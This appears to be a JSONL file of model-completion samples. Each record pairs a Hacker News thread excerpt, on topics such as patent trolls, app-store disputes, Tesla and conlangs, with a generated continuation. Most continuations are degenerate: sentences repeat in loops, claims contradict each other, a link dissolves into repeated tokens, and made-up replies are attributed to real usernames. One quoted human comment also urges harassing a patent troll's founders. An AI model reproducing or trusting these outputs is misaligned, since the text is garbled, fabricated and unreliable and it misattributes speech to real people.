me. Not really the kind of thing I'd\nwant to read as a potential customer.\n\n~~~\naugustl\nIt's exactly the thing I would want to read. I'm the expert in gold panning,\ndamnit, just give me the tools I need.\n\n~~~\nnewobj\nYou're an expert in gold panning yet you need tools?\n\n------\nequark\nThere is a real need for an open source clone of one of these realtime\ndatastores. I'd lean towards Firebase since it has the best API I've seen so\nfar.\n\nIf anybody wants an open source sprint, I'd be willing to donate to such a\nproject...\n\n------\nhnf0r3v3r\nI'm working on something similar that I want to open source. The idea is to be\nable to build apps quickly on the front end, and only have to mess with the\nback when necessary.\n\nAnyone interested in this sort of project"} +{"output_text": " at least make them think you can).\n\n~~~\njavajosh\nI guess I'm asking if there's a way to mitigate the risk of being sued by a\ntroll.\n\n~~~\nunishark\nI don't think there is. You can try to mitigate the risk by not doing anything\nthat might be construed as infringing.\n\n------\njoshstrange\nI'm not sure if this is a troll or not but I'm curious if anyone", "input_text": " sued you is a great one in this case. Might even consider filing\nseveral lawsuits and complaints to overwhelm a small scale troll.\n\nOr if you're the size of Cloudflare, bully them in other ways. In this example\nit's an operation setup by just two lawyers, easy to make them regret going\nafter you if you make their work impossible. You could for example hire away\ntheir legal staff, delay things for ages, screw with the personal life of the\ntwo founders. They can't keep a small business afloat for very long if you\ndedicate some resources to screwing with their operations.\n\nMight even just sue their clients for something else (one of your patents for\nexample). In this case the client is a small firm in Germany, they would be in\na very bad place if they got sued in the US home district of Cloudflare and\nhad to defend. High probability that they would put pressure on the lawyers to\ndrop the troll suit.\n\n~~~\nchalst\nCloudflare took them to court, where the judge invalidated the patent.\nBlackbird appealed and lost.\n\n[https://blog.cloudflare.com/winning-the-blackbird-\nbattle/](https://blog.cloudflare.com/winning-the-blackbird-battle/)\n\n------\njavajosh\nSo, if you're interested in starting a software business, it seems like the\nrisk of being sued by a troll is close to 100% - how do you budget for this?\nIs there something like insurance you can buy?\n\n~~~\nunishark\nIt's generally not a problem until you start making enough money (or get a lot\nof funding) to be worth suing in the first place, at which point you can\nafford to pay them off (or"} +{"output_text": " worked for a company that was a major supplier to the US military.\n\nThey had a very strict ethical policy, and they were very good at enforcing\nit.\n\nThey had a very strict policy against any kind of unethical behaviour, and\nthey were very good at enforcing it.\n\nThey had a very strict policy against any kind of unethical behaviour, and\nthey were very good at enforcing it.\n\nThey had a very strict policy against any kind of unethical", "input_text": "\ncoldcode\nI interviewed three times at a company once which didn't seem to have a clear\nbusiness model. Only in the last interview with the CEO did I realize he was\nrunning a ponzi scheme.\n\n------\nunivalent\nThis is like the Mickey Mouse version of the 'The Firm'.\n\n------\npnathan\nwhenever I am looking at a company, I google it, I scrape Glassdoor, I look\nfor news articles about it. \"How do you make money\" is usually on the menu of\n\"things I specifically care about\". I'd advise others do do the same. Learn\nwell what the company you're talking to does to earn a buck and who they are\nbeholden to.\n\nI avoid adtech, myself.\n\n------\nTheAdamist\nI've been to a Python Meetup there previously, nice office, nice tech talks.\nTheir sponsor overview certainly didn't disclose what they actually did.\n\nMakes me wonder about the other ad platforms in town.\n\n------\nvas123\nSometimes this adware crap hijacks legitimate open source projects as well and\ninstalls on unsuspecting users like this guy:\n\n[https://forum.videolan.org/viewtopic.php?t=78825](https://forum.videolan.org/viewtopic.php?t=78825)\n\n------\nzekevermillion\nThere are many businesses that are built around exploiting vulnerable\ncustomers or users, and it is common for such businesses to have contrived\ncomplicated ethical justifications for their conduct. I'm thinking in\nparticular of law and finance.\n\n------\njobigoud\nI also always wonder how the people working on engineering land mines do.\n\n~~~\nTheOtherHobbes\nI once"} +{"output_text": "%2Dapp%2Dis%2Dfucked%2Dup%2Dand%2Dfuck%2Dyou%2Dtoo%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D", "input_text": "timwaagh\nI'm personally thinking it's sad such resources and effort are expended over\nsomething as frivolous as a dating app. If there are significant\nirregularities it's better to just fine them a couple of billion later. Better\nfor the wallet, too.\n\n~~~\ncstross\nNot better for anyone who ends up being stalked and/or raped as a result of a\nbadly monitored/regulated dating app, though.\n\nThere's a public safety issue here: dating requires interpersonal negotiation\nfor personal intimacy with consent, which in turn implies that a dating app\nneeds to be \"safe space\". Facebook is notorious for leaking personal\ninformation to third parties (typically but not always advertisers). I have no\nknowledge of _specific_ risks associated with Facebook's dating app, but the\nprecautionary principle should apply in those cases where personal safety is\nat risk, and the sheer scale on which Facebook operates means that a dating\napp backed by the big F needs oversight.\n\nLuckily, GDPR FTW.\n\n------\necmascript\nIt feels wierd to read an american article that uses word like 'fuck you' and\n'fucked up'. I kind of like the brutal honesty of the word usage.\n\n------\nipsi\nSlight tangent, but it seems that TechCrunch are also quite bad at privacy -\nfollowing the link initially redirects to\n[https://guce.techcrunch.com/consent?brandType=nonEU&done=htt...](https://guce.techcrunch.com/consent?brandType=nonEU&done=https%3A%2F%2Ftechcrunch%2Ecom%2F2020%2F02%2F13%2Ffacebook%2Ddating"} +{"output_text": "You're not a bad person, you're just a person who has been taught to be a\nperson who is bad at being a person.\n\nYou're not a bad person, you're just a person who has been taught to be a\nperson who is bad at being a person.\n\nYou're not a bad person, you're just a person who has been taught to be a\nperson who is bad at being a person.\n\nYou're not a bad person,", "input_text": "------\nvasilipupkin\nMaybe, try adderall? You could just have ADHD.\n\n------\nhellbanner\nSerious question - how often do you exercise?\n\n------\nknown\nYou need Passion + Patience + Perfection\n\n------\nACow_Adonis\nI've been a bit disappointed in the responses to be honest. They're almost\nmemes in and of themselves: therapy, drugs, tricks, maybe you're born with it\n(most aren't).\n\nThe good news is that you're normal. The bad news is that you're normal. And\nthat really strikes at the heart of the situation. A fish is worst at\nexplaining the concept \"wet\" because they're born and live in water. HN\nappears bad explaining lack of focus and self drive because most of us have\nbeen brought up in a culture that is almost specifically dominated with\ninstilling such aspects in people. I don't know if it is by design, but it is\nincredibly effective as a social glue and at showing that culture.\n\nCultural reprogramming is, to put it mildly, difficult at best once you've\nspent 30 years in one, so I'm largely posting this on the chance that it\nintroduces a new perspective and raises curiosity, not because I think you\nshould necessarily do it, since most people are not interested in such\nextremes and quite rightly: try separating from your dominant and acculturated\nenvironment and you'll likely find a while host of other (arguably bigger)\nproblems.\n\nYou've been born into and live in a culture that, almost from birth, teaches\nyou to turn to quick wins, entertainment, external direction and external\nauthority. You have now subsequently internalised that culture.\n\n"} +{"output_text": " than by position.\n\n------\njoshu\nI've been using [http://www.csvkit.com/](http://www.csvkit.com/) for a while.\nIt's a little more complicated than the other options, but it's pretty\nstraightforward.\n\n------\njoshu\nI've been using [http://www.csvkit.com/](http://www.csvkit.com/) for a while.\nIt's a little", "input_text": "\n>parses large documents slowly, but steadily, in memory space proportional to\nthe key depth of the document\n\nIf parsing JSON with shell scripts and awk is your idea of the most ideal way\nto \"slowly, but steadily\" get the job done.\n\n[https://github.com/shellbound/jwalk/blob/master/lib/jwalk/co...](https://github.com/shellbound/jwalk/blob/master/lib/jwalk/commands/parse.awk#L137)\n\nI know that everything looks like a nail if your only tool is a hammer, and\nit's fun to nail together square wheels out of plywood, but there are actually\nother tools out there with built-in, compiled, optimized, documented, tested,\nwell maintained, fully compliant JSON parsers.\n\n------\ngibba999\nSeems like a waste to do CSV->TSV without going all the way:\n\n[http://www.tsvx.org/](http://www.tsvx.org/)\n\nThe problem with TSVs and CSVs is that you might get an odd datatype 1TB into\na file. For example, what you expect to be an integer value is somehow a\nstring.\n\nTSVx extends TSV to add standard formats for things like headers which allows\nfor strict typing. You can do things like export a database table and import\nlosslessly. You can even export from MySQL and import into PostgreSQL most of\nthe times without pain.\n\nThe strict typing also avoids a lot of potential security issues. And in an\nenvironment where you control both ends (so you don't need to worry about\nsecurity of where the file came from), it leads to much nicer APIs: you can\nrefer to things by names rather"} +{"output_text": " is pure WYSIWYM (as opposed to \u201cwhat you see is how you\n> pronounce\u201d) and synthetic to boot?\n\nI don't know of any language that is like this.\n\n~~~\nstrogonoff\n> Toki Pona is not like English, Spanish, or other Western languages.\n\nI\u2019m not saying it\u2019s like English, Spanish, or other Western languages. I\u2019m\nsaying it\u2019s like invented languages.", "input_text": "3E3&sort=byDate&type=story)\n\n------\nstrogonoff\nInvented languages are overwhelmingly boring in their likeness to English,\nSpanish and other Western languages.\n\nWhat if we tried to create, say, a language with a logographic written system\nthat is pure WYSIWYM (as opposed to \u201cwhat you see is how you pronounce\u201d) _and_\nsynthetic to boot?\n\nMake it use vocal cords differently.\n\nInstead of borrowing around, use a random seed in generating a minimum set of\nunique basic \u201cnative\u201d words according to language rules and build on top of\nthat (borrowing for meanings outside of that set).\n\nThis could be so much more fun!\n\n~~~\njustinpombrio\n> Invented languages are overwhelmingly boring in their likeness to English,\n> Spanish and other Western languages.\n\nToki Pona is not like English, Spanish, or other Western languages.\n\nIt has no singular/plural distinction. It has no past/present/future tense.\nIts pronouns have no gender. All of its phonemes are present in almost all\nlanguages (this is on purpose). The way it forms questions is not like Enlgish\n(I don't know of any language that it's similar to). Its word order is\nsubject-verb-object, like most languages. [EDIT: not most, only 42%]\n\nThe only thing its taken from English, as far as I've seen, is a bunch of\nvocabulary. Though honestly its sounds are so limited that sometimes you can't\nrecognize which English word a Toki Pona word came from.\n\n> What if we tried to create, say, a language with a logographic written\n> system that"} +{"output_text": " was so specific that I thought it was a typo.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe art was insured for 25k. The art was destroyed. The art was insured for\n25k. The art was destroyed.\n\nThe art was insured for 25k. The art was destroyed. The art was insured for\n25k. The art was destroyed.\n\nThe art was insured for 25k. The", "input_text": " that. If you take a job transporting art, it's your job to\nunderstand what you're transporting.\n\nAnd at no point are you supposed to open boxes like that, anyway, no matter\nwhat you're transporting - when I unloaded the truck at a department store,\nthey drilled into us that that's a very good way to slice through a rack of\nt-shirts or pants or whatnot.\n\n~~~\nrabboRubble\nIf the tape on the boxes was not meant to be cut open under any circumstance,\nand the tape was not a part of the art itself, doesn't the blame fall upon the\nperson who put the tape on in the first place?\n\n~~~\npavel_lishin\nYou can cut tape from a packed box without jamming the blade into the box and\nits contents.\n\n~~~\nrabboRubble\nI didn't read it that way. The issue was with the handling of the boxes and\nnot the contents. The box itself was the artwork _in addition_ to the\ncontents. Slicing the tape sliced the box and the box was insured for EUR25k.\n\n\"cuts through the tape that seals all the boxes. Each box a artwork, insured\nfor 25.000\u20ac - sliced.\"\n\n~~~\npavel_lishin\n> The box itself was the artwork in addition to the contents.\n\nThat's not how I read it (emphasis mine):\n\n> One of those haulers venturing into art, transported a artwork by a Chinese\n> artists (do not know the name), basically very long paperrolls with Chinese\n> letters on them _to be hung from a halls ceiling_\n\n~~~\nrabboRubble\nI love this! I initially assumed your understanding was what s/he meant too\nbut the wording"} +{"output_text": ".\n\n------\njosh2600\nI think this is a great idea.\n\nI think the problem is that the internet is a very complex system. There are\na lot of moving parts and a lot of people who are trying to make money off of\nit.\n\nI think the best way to solve this is to have a new protocol that is\nindependent of the internet.\n\nI think the best way to do this is to have a new protocol that is", "input_text": ".\nThis makes a lot of sense, since the originating party is the one in a\nposition to decide whether to place the call and therefore should bear the\ncost.\n\nBy renaming the originating party to the \"sending\" party, they can redefine\nYouTube/NetFlix/whoever as the \"sending\" party even though the user is the\noriginating party. Thus they attempt to justify denying the user the service\n_which they already have paid for_ unless they receive the appropriate\nkickbacks^W \"fees\" from whoever is serving the data.\n\n------\nnitrogen\nWith regards to Quality of Service, what's wrong with letting the packet flags\ndecide QoS, with customers paying for a guaranteed percentage of high-QoS\nbandwidth during peak network load?\n\nIn other words, when the network is underutilized, all packets would be\ntransmitted with high priority and low latency, with QoS flags allowing\npackets to jump ahead in packet queues. When the network is heavily loaded,\nhigh-QoS packets beyond the customer's quota would be relegated to best\neffort.\n\n~~~\neridius\nIn this situation, what's stopping all traffic senders from marking their\npackets with the QoS flag? After all, they don't want their traffic getting\nstuck behind some other sender's traffic.\n\n~~~\nbelorn\nEach customer only has a limited amount of QoS high priority traffic. If\nsomeone flags every packet with high priority, all the QoS mean is that the\nfirst packages get improved priority and everything else get default low\npriority.\n\nThat mean a customers software can balance the use of QoS for time sensitive\ntraffic, and maybe even flag some data as below default to get bonus high\npriority traffic"} +{"output_text": "b) what I was interested in.\n\n------\njgrahamc\nI wrote a lot of 6502 assembly in the early 80s. I wrote a lot of 6502\nassembly in the early 80s.\n\n------\njgrahamc\nI wrote a lot of 6502 assembly in the early 80s. I wrote a lot of 6502\nassembly in the early 80s.\n\n------\njgrahamc\nI wrote a lot of 6502", "input_text": " team).\n\n------\ncimnine\nnice'syntax highlighting' ;)\n\n~~~\nsimmons\nI was thinking the same thing. I, too, wrote many sheets of hand-coded 6502\nassembly back then, but I didn't think to use a multi-colored pen.\n\n------\nsegmondy\nI wrote code like this in 1997. First year in college, micro processing\ncourse. So I wrote a simulator for the 6800 chip, and an assembler. So I\ndidn't have to wait every Saturday at 8:30am to run my code. The professor\nwasn't impressed at all when I showed him my program.\n\n------\nquattrofan\nThis made a big wave of nostalgia wash over me, I learnt to write 6510\nassembler on my C64.\n\n------\nbwang8\nArticles like these make me realized I am completely spoiled. I am in no\nposition to complain about debugging when modern technology afforded me a much\neasier time than 30-40 years ago.\n\n------\nericssmith\nI had a KIM-1 in the late seventies and for several years I would run into\nother people who used one, but 1985 seems really late for programming on one\nof these. For me, the KIM-1 was my first experience with programming and a\ncomputer of any sort. It influenced my taste for low-level concepts, not only\nthrough x86 assembly programming for graphics in the 90s but much later in the\nlambda calculus and combinatory logic. I'm tickled that the KIM-1 is seeing\nsuch a resurgence of interest.\n\n~~~\njgrahamc\nIt was late to be programming one but it was (a) what was available where I\nwas and ("} +{"output_text": " tomorrow is\nhard to wrap my head around.\n\n~~~\njoshuapants\nI think it's because people don't think about the future. They think about\nwhat they want right now.\n\n~~~\nsosuke\nI think that's a good point. I think it's a good thing that people don't\nthink about the future. I think it's a bad thing that people don't think about\nthe future.\n\n------\njoshu", "input_text": " access to the proverbial printing press taking a hearty cut), and\nwe get to our current point where things that used to be owned are now just\nrented from banks.\n\nAsk yourself how many people have avoided owning a computer, knowing that\nprices are always dropping? How many people have gone hungry, figuring that\nfood will be cheaper next week?\n\n~~~\ngfodor\nI think the theory is not so much that people go hungry because food will be\ncheaper tomorrow, but that there is a perverse _incentive_ to spend a little\nless because you'll be able to get a little more with it later. I'm not sure I\nbuy this theory but I think it's more about the macro effects of a small tweak\nin incentives.\n\n~~~\nimaginenore\nThat theory is complete nonsense.\n\nIf you wait a little longer, you can buy a better tablet, a better computer, a\nbetter phone, a better TV with the same amount of money (inflation-corrected\nor not). That doesn't stop people from buying all kinds of electronic devices,\neven though they get obsolete much faster than their money.\n\n~~~\ngfodor\nThe point is not that it stops people from buying things, but that on a macro\nscale it will cause people to delay or dampen their consumption. Sites like\n[http://buyersguide.macrumors.com/](http://buyersguide.macrumors.com/) show\nthis phenomenon exists, the question is how much of an effect it has when it's\na few % yearly discount spread out over _every_ good and service.\n\n------\nsosuke\nSuch a hard thing to reason out in my non-economist brain. The idea that\npeople won't spend money today because something may be cheaper"} +{"output_text": " he may very well have\ncommitted crimes. But the Japanese justice system is a joke.\n\n~~~\nreuven\nI agree with you. I'm not saying Ghosn is innocent. I'm saying that the\nJapanese justice system is a joke.\n\n------\nmattlondon\nI have been using Emacs for about 15 years now, and I have never used the\nctrl-r or ctrl-a or ctrl-e or alt--.\n\n", "input_text": " things out. Incremental\nreverse search with ctrl-r is not new and does not require a \"modern\" shell\nunless you've been using Unix forever, in which case you surely knew about it\nalready.\n\nAnyway just wait until this person figures out ctrl-a and ctrl-e and alt-.\nThen minds will truly be blown.\n\n~~~\nreuven\nOP here: I've been using Unix as my primary desktop, and Emacs as my primary\neditor, since 1988. I've known about these keybindings for a heckuva long\ntime. But I keep encountering people who don't, and who are delighted to learn\nsomething new. I thought that it would be nice to share, that's all.\n\n~~~\nderwiki\nIt was nice to share, thank you! I remember how excited I was the first time I\nlearned about this command.\n\n \nExamining Carlos Ghosn and Japan's System of 'Hostage Justice' - onemoresoop\nhttps://www.japantimes.co.jp/news/2019/04/17/national/crime-legal/examining-carlos-ghosn-japans-system-hostage-justice/\n======\nanonu\nGhosn's handling by the Japanese is utterly despicable. No habeas corpus...\nno due process.\n\nGhosn is credited with a stunning corporate turnaround and creating billions\nof dollars of value for a Japanese company and the Japanese people. I am\ncertain foreign corporations who do business in Japan are thinking long and\nhard about the implications and potential risks of operating there.\n\nTo be clear - I am not saying Ghosn is innocent. He may very well have created\nspecial corporate structures to siphon off cash - and"} +{"output_text": "have a space program, but it will be a very small one.\n\n~~~\nriantogo\nI agree with you. I think we need to find a way to optimize for both.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that we're finally starting to see some of the negative\neffects of the tech boom.\n\nBut I also think it's a little bit of a distraction", "input_text": " he's going to get heat for it.\n\nThe financial press has an obligation to talk about this stuff. Investors\ndeserve to be informed.\n\n------\nmyrandomcomment\nStill waiting for my site visit for the $1000 I put down a very long time ago\nfor my solar roof.\n\n------\nriantogo\nSomewhere along the way I have come to appreciate that as a society we need to\noptimize better for psychological, financial and physical wellbeing of people\nprioritized by proximity: employees, community, humanity. It will definitely\nslow down innovation. We might go to Mars 20yrs late, no self driving cars for\n10 more yrs, walk around the city some more before electric scooter land etc.\n\nOf course it is in conflict with innovations in humanity impacting products\nlike cure for cancer, malaria etc. It would be nice to figure out a solution\nthat provides a good balance.\n\n~~~\nManFromUranus\n>It will definitely slow down innovation\n\nIt will definitely slow down innovation. Some projects / aspirations will come\noff the table completely. Mars? Forget about it. All your mars money will be\ntreating AIDS/Malaria/Cancer/Whatever. All NASA and space exploration money\nwill go to feeding poor people and refugees and all manner of charitable\ncauses, these causes will only ever multiply ad infinitum. I think there is\nreally only money for one or the other. You can have a comfy easy welfare\nstate life, or you can explore and reach for the stars.\n\nYou can't do discount Mars, or space exploration on the cheap, you basically\ncan't have both. Your welfare state will make it so that you don't ever really\nhave enough money to actually do any kind of space exploration. Sure you can\n"} +{"output_text": " is irrelevant.\n\n~~~\nwhichquestion\n>driving is expensive\n\nI don't think that's true. I live in a city with a lot of parking. I don't\nthink it's expensive to drive.\n\n>If there's truly no choice other than driving (which isn't really possible,\nbecause if driving alone is an option then so is carpooling), your income\nlevel is irrelevant.\n\nI don't think that's true either. I don", "input_text": " benefit of other students.\n\n~~~\nacdha\nHow does this \u201cbenefit\u201d other students? They're the ones who are being\ninconvenienced by scofflaws and if it's like most other places quite likely\nendangered: the same people who park illegally tend to be cavalier about\nblocking bike lanes and curb cuts, speeding, rolling through crosswalks, etc.\n\n~~~\nflatiron\nAs someone who commuted to college parking illegally is just something you\nhave to do. I had parking fines I had to pay before receiving my diploma even\nthough I made the grades and such. Parking and universities is a mess.\n\n~~~\nnotatoad\n>parking illegally is just something you have to do\n\ndriving to college is not something you _have to do_. it's something you\nchoose to do. parking is a side effect of driving, not a god-given right.\n\n~~~\nwhichquestion\nIf you are low income, and need to get to school but have no other way to go\nthan to drive, what else should you do?\n\nIt seems like you are suggesting that some people have other choices than\ndriving. There are a lot of colleges with no accessible public transportation\ninfrastructure.\n\nMany people don\u2019t have the financial means to do anything else, especially\nwhen there isn\u2019t the public transportation infrastructure to support them.\n\n~~~\nnotatoad\nwhat does low income have to do with this? driving is _expensive_. between\nfuel, vehicle maintenance, parking, and insurance, driving your personal\nvehicle should not be the \"low income\" choice.\n\nIf there's truly no choice other than driving (which isn't really possible,\nbecause if driving alone is an option then so is carpooling), your income\nlevel"} +{"output_text": " is that\nTesla will be able to find a replacement for Musk, and that the company will\nbe able to continue without him.\n\n~~~\nmlthoughts2018\nI\u2019m not sure I agree with that. I think Tesla will be able to find a replacement\nfor Musk, but I think it will be a less experienced replacement.\n\nI think the company will be able to continue without him, but I think it will\nbe a less experienced company.\n", "input_text": "porsche-the-hedge-fund-that-also-\nmade-cars/). The moral of that story was, if you're \"fine as long as you can\nraise capital\", then you're actually in a very precarious position. And it was\neven another luxury car company to boot!\n\nNot that Tesla is making the same speculative financial shenanigans that\nPorsche was, but the point is, access to capital has a tendency to dry up\nright when you need it most. If there's a recession in the next 18-24 months\n(which, glancing at yield curves, is looking increasingly likely) and lending\ntightens up, Tesla might not find it as easy as you think to raise capital\nright when they need it to avoid running out of money.\n\n~~~\nttul\nAnd Tim Cook is waiting for that moment to arrive, so that he can put an apple\non every Tesla.\n\n------\nhi41\nWhy is Tesla doing this? It is riding high on the success of its electric cars\nand Elon Musk is so famous and is considered a visionary.\n\n------\nmlthoughts2018\nFriendly PSA: always negotiate severance. Companies can always be forced to\nrestructure like this or even just choose to on a whim. Pressure from the\nboard, hiring a new CTO who wants to bring in his or her own people, etc. etc.\n\nAlways make sure you are happy with what type of offsetting compensation\nyou\u2019ll receive in this eventuality _before_ taking the job, and consider it a\nhuge timesaver if an employer passes on you because you asked to negotiate a\ncompetitive severance package.\n\n~~~\norgansnyder\nEasy to say for those of us with highly-demanded skillsets. My hunch"} +{"output_text": " the emperor. He was the first emperor, but he was not the emperor.\n\nThe emperor was the guy who was the head of the army, and the guy who was\nelected by the senate.\n\n~~~\nkthejoker2\nI think the point is that the senate was the one that elected the emperor,\nand the emperor was the one who was the head of the army.\n\nThe senate was the one that elected the emperor, and the", "input_text": " founding fathers would cite our current president as the reason\nthey didn't trust direct democracy...\n\nIt's food for thought whenever I think about pushing more towards direct\ndemocracy. I've been leaning towards proportional electoral votes, but there\nare so many unintended consequences.\n\n~~~\nultramundane8\nI really can't grant that first paragraph in good faith without some evidence.\n\nHow could you possibly divine the intent of the 2016 Trump campaign? We still\ncan't agree on a vast number of its actions, let alone its strategy.\n\n~~~\nkthejoker2\nYou want evidence that Trump\n\n1) didn't try to win the popular vote i.e. specifically did not court the\nvotes of certain people\n\n2) In order to run as a populist i.e. shore up votes from his base\n\n3) because the Electoral College system supports just such a strategy, such\nthat winning 51% of a few states while only getting 45% of the vote\n\nWell, other than his entire campaign, the clearest evidence I can give is this\nin the face of actual polling numbers indicating that #1 and #2 had come to\npass in the summer of 2016, the campaign's advertising dollars focused almost\nexclusively on the Obama states he ended up flipping.\n\n \nAncient monument sheds light on battle of Actium - longdefeat\nhttps://www.independent.co.uk/news/science/archaeology/roman-empire-cleopatra-octavian-ceasar-egypt-battle-sea-nicopolis-history-archaeology-a8843886.html\n======\nvillage-idiot\nThe thing I find interesting is that to the Romans, Augustus (Octavian) was\n_not_"} +{"output_text": " the Play Store, and it\u2019s\n> impossible to sideload.\n\n[https://www.gamespot.com/articles/fortnite-\nplay-store-sidelo...](https://www.gamespot.com/articles/fortnite-\nplay-store-sideloading-is-a-nightmare-for-players-heres-how-to-fix-it-\nright/1100-641212/)\n", "input_text": ". It's not without\nprecedent. But it's just not allowed for mobile.\n\n> designing hardware, OS releases, etc. Epic did not design their own\n> hardware, their own silicon, build entire global supply chains, design UX,\n> etc. Apple and Google did. Do they not deserve a cut?\n\nSeriously? You think Epic should have to pay for the hardware that we\nconsumers buy for thousands of dollars? Apple has some of the highest hardware\nmargins in the world. They don't need software developers to pay for the\nhardware that we've already paid too much for. These aren't consoles sold for\na loss.\n\n~~~\ninterpol_p\n> Because they're the only option. I mean there's no reason why Epic couldn't\n> host the app on their server that people could download. It's not without\n> precedent. But it's just not allowed for mobile.\n\nDidn't they move to the Google Play Store (from their own download manager)\nspecifically because sideloading was too hard and scary for customers that it\nwas having an impact on Fortnite installs?\n\nHaving the option wouldn't be enough for Epic even if it were available on\niOS, because it wasn't enough for them on Android\n\n~~~\nwvenable\nWell Google specifically doesn't make it easy or safe to install apps from\nother sources. But there's no reason why it couldn't be just as simple and\nsafe as getting it from the app store.\n\nThe problems mentioned below are really only possible because Google kind of\nleaves everyone to the wolves when it comes to sideloading.\n\n~~~\ninterpol_p\nEpic's quote at the time was the following:\n\n> Google puts software downloadable outside of"} +{"output_text": " to get \"X\" and you don't know him, you will probably\nhesitate to do it.\n\n~~~\naskafriend\nI think you're right.\n\nI think the problem is that the people who are successful on Instagram are\nthose who have built a relationship with their audience.\n\nI think the people who are successful on Instagram are those who have built a\nrelationship with their audience.\n\nI think the people who are successful on Instagram are those who", "input_text": "KBHD aren't superstars because they have millions of\nfollowers. They're superstars because they've been marketing their personal\nbrands from the beginning, and so every (real) follower they've gained is\n_also_ a fan. But this does not apply in every situation.\n\n(It _especially_ doesn't apply to corporate social-media outreach, something\nof interest to the HN crowd: just posting cool stuff your startup made might\nattract a \"real audience\" of people who _want that stuff_... but unless you're\nbranding that stuff as _yours_ when you do that, you won't be able to later\nconvert that audience _at all_. That should be obvious to someone who's job is\n\"social-media brand manager\"\u2014but it's _not_ obvious to someone who wants to\nget rich selling merch to Insta followers.)\n\n~~~\naskafriend\nAh, got it. I think we're actually on the same page then!\n\n------\nsuperasn\nI think the problem with this is the same problem with email marketing. It\ndoesn't mean that marketing on Instagram doesn't work.\n\nI know people who have thousands of subscribers and can't sell $1000 of stuff\nand then there are people with 1000 subscribers that can sell $50k worth with\na single email.\n\nIt all comes down to the relationship with your list (I guess in this case\nyour followers). If your list trusts you and trust is easy to gain by giving a\nlot of value + authority, they will buy from you. Think if your best friend\ntell you to get \"X\" and he is an expert too then chances are you will try \"X\"\neven if doesn't make sense at the moment. On the other hand if a random\nstranger tells you"} +{"output_text": "place to buy apps.\n\n~~~\nblunte\nI agree that there are many app stores, but I don't think that is the\nproblem.\n\nThe problem is that the app stores are not competitive. They are all\nessentially the same, and the only thing that differentiates them is the\nnetwork that they are on.\n\nThe app stores are not competitive because they are all owned by the same\ncompany.\n\nThe app stores are not competitive because they", "input_text": " people there are. The\nsecond thing you'll notice is that food portions in restaurants and cafeterias\nare much larger. Strangely, everybody feels hungry all the time.\"\n\n~~~\nanigbrowl\nSad but true :-/\n\n------\nelnate\nWell, time to work out.\n\n------\nalextingle\nFat American Todd looks a bit like Charlie Sheen.\n\n------\nadamwong246\nEwww\n\n \nFortnite seems to have been removed from the Play Store as well - cinntaile\nhttps://play.google.com/store/apps/details?id=com.epicgames.fortnite&hl=en_US\n======\nblunte\nGood. The sooner a big well-funded company hits this duopoly wall, the better.\nThey will have the resources to fight this, and the outcome will hopefully be\npositive for all other developers.\n\nApple and Google are gatekeepers to all mobile devices (practically), but the\nvalue they add as gatekeepers is questionable. Certainly there is some value\nin their delivery (and much lesser so, their security) service; but their fees\nare not market set (since they are effectively monopolies by device type). If\nthere were actual competitors, their rates would be much lower... around 2-5%\nprobably.\n\n~~~\nsimonh\nAndroid has a plethora of app stores, there have always been tons of them.\nSome phones have shipped with three or more, one from Google, one from the\nphone manufacturer and one from the network. Then you could add another one\nfrom Amazon, etc, etc.\n\nGoogle Play Store won out on Android simply because the multitude of stores\nwas a nightmare for customers. They don\u2019t want multiple stores, they want one\n"} +{"output_text": " a lot of talk about how Ruby is the new Python, but I don't see it.\n\n~~~\ntracker1\nI think it's more about the ecosystem... I'm not a Ruby dev, but I do use\nRails, and I'm not sure I'd want to use it for a new project. I'm not sure\nthat I'd want to use it for a new project, but I'm not sure I'd want to use\nit for an existing project", "input_text": "\nToolkit looks like it's even lightweight and share the similar \"minimal\"\nprinciple, I will give it a try and see if it provides enough out of box, and\nI hope to see more of this kind of light yet modern frontend framework.\n\n[1] [https://github.com/google/web-starter-kit](https://github.com/google/web-\nstarter-kit)\n\n~~~\ntracker1\nIf you use Bootstrap from the source, it's actually pretty modular. I bring it\nin with npm, then copy the bootstrap.less and variables.less into my own\nproject (updating the references to those in the node_modules path)... this\nlets me do quite a bit in terms of not loading the kitchen sink, while still\nbeing flexible.\n\nAs an aside, I'm not quite sure why less hasn't won over sass... By nature of\nless being JS driven it is much closer to best in breed tools you need anyway\nfor web development (npm) in my opinion. It kind of bugs me that to do modern\nweb development, you are likely to want/need to have Node (or io.js), Python\nand Ruby installed. I tend to stick to Node based tools (there is sass for\nnode, but it brings in a binary module). This isn't to be expressly negative,\njust that I'm surprised there's still broad support for both less and sass...\nwith sass having a bit of an edge in the greater community, it would seem.\n\n~~~\nomegavesko\nDo developers really care whether a tool is written in JS rather than Ruby, or\nvice-versa? If you're running *nix it's pretty likely you have Ruby installed\nout of the box anyway.\n\nThere's"} +{"output_text": " this\nisn't a violation of the ToS.\n\n~~~\ndang\nIt's not. The ToS is a contract between the site and the advertiser. The\nadvertiser is free to not use the site if they don't like the ToS.\n\n~~~\nCommieBobDole\nI'm not sure I understand your point. The ToS is a contract between the site\nand the advertiser. The advertiser is free to not use", "input_text": "\" and their speech.\n\n~~~\nCommieBobDole\nOne the one hand, as someone more or less on the left, I am a little concerned\nwith the political orthodoxy I see on the left, where there's a package of\n\"correct\" ideas of varying quality, and disagreeing with or having varying\nlevels of enthusiasm about any of them is seen as almost worse than rejecting\nthem all entirely.\n\nOn the other hand, nearly everyone I see these days who talks about being\nreally passionate about free speech and preventing groupthink seems to be an\nactual goddamned neo-Nazi whose idea of free speech is the right to scream\nracial slurs at top volume into the faces of \"libtard cucks\" until they're\ndriven out of public spaces and they can resurrect the Third Reich without\ninterference.\n\n~~~\nexistencebox\nI realize your statement may be slightly hyperbolic, but I want to reassure\nyou there are many moderate/centrally leaning individuals passionate about\nfree speech and the power of questioning any status quo as a tool to seek\ntruth. (obviously not as many as I might desire, but...) This _cannot_ be an\nissue that only becomes provenance of the worst kinds, because then it becomes\neasy to dismiss. One need only be a student of history to see the importance\nof the above for _breaking_ oppression and tyranny.\n\n(Sorry, not to distract from the OP and the primary discussion, I just felt\nstrongly enough about the above statement to wave a \"I promise we're out here\"\nflag.)\n\n------\nCommieBobDole\nThis is literally a flag for \"this thing is uncontroversial enough that we can\ndisplay ads on it without the advertiser complaining\". I don't see how"} +{"output_text": " of pilots who didn't improve were\nactually worse than the 33% who did.\n\n~~~\ncpncrunch\nI agree that it's meaningless. I was just 